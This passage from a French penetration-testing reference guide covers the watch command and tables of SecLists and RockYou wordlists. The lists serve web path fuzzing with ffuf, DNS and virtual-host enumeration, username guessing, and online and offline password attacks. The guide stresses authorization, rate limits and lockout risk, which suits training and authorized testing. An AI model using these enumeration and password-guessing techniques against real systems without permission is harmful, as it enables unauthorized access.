watch • Niveau 2

Relance une commande à intervalles réguliers pour observer un changement.

Syntaxe watch [options] commande

Options et arguments utiles

Élément	Explication
-n 2	Fixe l’intervalle à deux secondes.
-d	Met en évidence les changements.
-t	Masque le bandeau de titre.

Exemple

```
watch -n 2 "ss -lnt"
```

Résultat La liste des ports TCP en écoute se rafraîchit toutes les deux secondes.

À retenir À réserver aux lectures utiles ; ne pas répéter une action destructive. Ctrl+C arrête le suivi.

LISTES PAR CONTEXTE • NIVEAUX 2 À 3

17 Wordlists pour les chemins web

Une wordlist contient des noms à essayer. Choisir d'abord le contexte, puis la taille. Dans chaque tableau, le classement va du plus petit au plus grand nombre de lignes.

Racine habituelle sur Kali : /usr/share/seclists. Pour ce tableau, ajouter Discovery/Web-Content/ avant le nom du fichier. Sur les autres distributions, vérifier le chemin installé.

Fichier	Lignes	Usage
common.txt	4 752	Première passe générale.
raft-small-directories.txt	20 115	Répertoires, liste courte.
raft-medium-directories.txt	29 999	Répertoires, couverture élargie.
raft-large-directories.txt	62 281	Répertoires, recherche large.
DirBuster-2007_directory-list-2.3-small.txt	87 663	Autre corpus historique.
DirBuster-2007_directory-list-2.3-medium.txt	220 559	Corpus historique plus long.
DirBuster-2007_directory-list-2.3-big.txt	1 273 832	Très gros volume ; durée à prévoir.

Choisir la liste dans ffuf

```
SC=/usr/share/seclists
ffuf -u http://192.0.2.20/FUZZ \
  -w "$SC/Discovery/Web-Content/common.txt" \
  -rate 2 -t 1 -maxtime 60 -ac
```

SC désigne la racine ; -w sélectionne le fichier. -rate 2 limite à deux requêtes par seconde ; -t 1 en lance une à la fois ; -maxtime 60 arrête après une minute. -ac ajuste les filtres. Une minute ne parcourt pas toute cette liste.

À retenir Une liste plus grande n'est pas forcément plus pertinente. Les anciennes installations peuvent omettre le préfixe DirBuster-2007_ dans les noms.

CONTEXTES DISTINCTS • NIVEAUX 2 À 3

17 Wordlists web spécialisées

Dossier commun : /usr/share/seclists/Discovery/Web-Content/. Lire quelques entrées avant de les ajouter à un chemin comme /api/v1/.

Chemins API du plus petit au plus grand

Fichier	Lignes	Usage
common-api-endpoints-mazen160.txt	174	API courantes, liste courte.
api/api-endpoints.txt	295	Autre petite liste de chemins.
api/api-endpoints-res.txt	10 879	Ensemble plus large de noms et chemins.

GraphQL

Fichier	Lignes	Usage
graphql.txt	106	Chemins liés à GraphQL, pas des requêtes à exécuter.

Noms de paramètres

Fichier	Lignes	Usage
burp-parameter-names.txt	6 453	Noms de champs, pas noms de dossiers.

Noms de sauvegardes

Fichier	Lignes	Usage
Common-DB-Backups.txt	336	Noms candidats de sauvegardes de bases de données.

À retenir Ces quatre contextes ne forment pas une progression unique. Un nom trouvé ne prouve ni un accès autorisé ni une vulnérabilité.

CONTEXTES DISTINCTS • NIVEAUX 2 À 3

17 Wordlists DNS et identifiants

Sous-domaines et hôtes virtuels

Dossier : /usr/share/seclists/Discovery/DNS/. Les entrées servent de noms candidats, par exemple dev dans dev.lab.test.

Fichier	Lignes	Usage
subdomains-top1million-5000.txt	5 000	Première passe courte.
subdomains-top1million-20000.txt	20 000	Élargissement modéré.
bitquark-subdomains-top100000.txt	100 000	Autre corpus, à comparer.
subdomains-top1million-110000.txt	110 000	Passe plus large.

DNS : chercher si le nom se résout. Hôte virtuel : demander un site web avec un en-tête Host précis. Un résultat dans l'un ne prouve pas l'existence dans l'autre.

Noms de comptes

Dossier : /usr/share/seclists/Usernames/. Préférer les comptes de test fournis et respecter le format attendu.

Fichier	Lignes	Usage
top-usernames-shortlist.txt	17	Quelques identifiants génériques.
cirt-default-usernames.txt	828	Comptes par défaut historiques.
Names/names.txt	10 735	Noms simples ; format à adapter.

À retenir Un DNS générique ou un site par défaut peut répondre à des noms inexistants. Avec HTTPS, le nom TLS peut aussi changer le site retourné.

AUTHENTIFICATION • NIVEAUX 3 À 4

17 Mots de passe et tests en ligne

En ligne, chaque candidat est envoyé à un service. Une attaque par dictionnaire utilise une wordlist ; la force brute exhaustive génère des combinaisons et n'a pas besoin de liste.

Dossier : /usr/share/seclists/Passwords/Common-Credentials/.

Fichier	Lignes	Usage
xato-net-10-million-passwords-10.txt	10	Très petite liste de candidats.
xato-net-10-million-passwords-100.txt	100	Petit volume à comparer au budget d'essais.
xato-net-10-million-passwords-1000.txt	1 000	Volume plus grand ; pas une étape automatique.

Le calcul à faire avant un test

20 comptes × 100 mots de passe = 2 000 tentatives si toutes les combinaisons sont essayées. Le risque de verrouillage dépend surtout des essais par compte et de la politique du service.

À retenir Convenir des comptes, du nombre maximal d'essais et des conditions d'arrêt. Un faible débit ne garantit pas l'absence de verrouillage. RockYou n'est pas un choix de départ pour un formulaire de connexion.

Lire et compter une liste

```
SC=/usr/share/seclists
LISTE="$SC/Passwords/Common-Credentials/xato-net-10-million-passwords-10.txt"
head -n 5 "$LISTE"
awk 'END {print NR}' "$LISTE"
```

head -n 5 montre les premières lignes ; awk compte les lignes, même sans saut de ligne final. Certaines listes incluent une ligne vide : vérifier comment l'outil la traite.

COMPARAISON LOCALE • NIVEAUX 3 À 4

17 Mots de passe et audit hors ligne

Hors ligne, les candidats sont comparés localement à des empreintes obtenues dans un cadre autorisé. Les mots de passe ne sont pas envoyés un par un à un service.

Fichier	Lignes	Usage
xato-net-10-million-passwords-1000.txt	1 000	Mesurer une première passe.
xato-net-10-million-passwords-10000.txt	10 000	Élargir les candidats courants.
xato-net-10-million-passwords-100000.txt	100 000	Passe intermédiaire.
xato-net-10-million-passwords-1000000.txt	1 000 000	Passe importante ; mesurer la durée.
rockyou.txt	14 344 392	Grand corpus historique.

xato : /usr/share/seclists/Passwords/Common-Credentials/. RockYou sur Kali : généralement /usr/share/wordlists/rockyou.txt.gz.

Préparer une copie décompressée

```
gzip -dc /usr/share/wordlists/rockyou.txt.gz > rockyou.txt
```

-d décompresse ; -c écrit le résultat vers la sortie ; > crée le fichier local ou l’écrase. L’archive d’origine reste présente.

Adapter la taille

Temps approximatif = candidats ÷ vitesse mesurée. Les transformations des mots et le type d’empreinte peuvent fortement augmenter le travail. Conserver les espaces et caractères spéciaux des mots de passe.

Comprendre les chiffres des tableaux

Les tailles SecLists correspondent aux lignes brutes de la révision ci-dessous, vérifiée pour l’édition précédente le 4 novembre 2026. Elles incluent blancs et commentaires éventuels, pas seulement des candidats uniques. Compter votre copie locale. RockYou : volume documenté par Kali.

SecLists : 4afe4d3de0a5d227c59ae2f162d22b93b4c27bfd

À retenir Protéger les empreintes et les résultats. Les listes se recouvrent ; un corpus plus grand ne garantit pas un meilleur résultat.

Aide et documentation officielle

Les options dépendent de la version installée. Consulter man commande ou commande --help. Les outils spécialisés ne sont pas tous installés par défaut.

Bash et commandes Linux

Outils de fichiers GNU

Recherche find

Manuels Linux et capacités

Nmap

curl

ffuf

Samba et clients SMB

NetExec

BloodHound.py

TShark

tcpdump

OpenSSH et scp

Ncat

Outils et paquets Kali

SecLists, révision des tailles

RockYou, paquet wordlists

À retenir Les exemples montrent une syntaxe et un résultat attendu ; ils doivent être adaptés à la cible, aux fichiers et aux autorisations réels.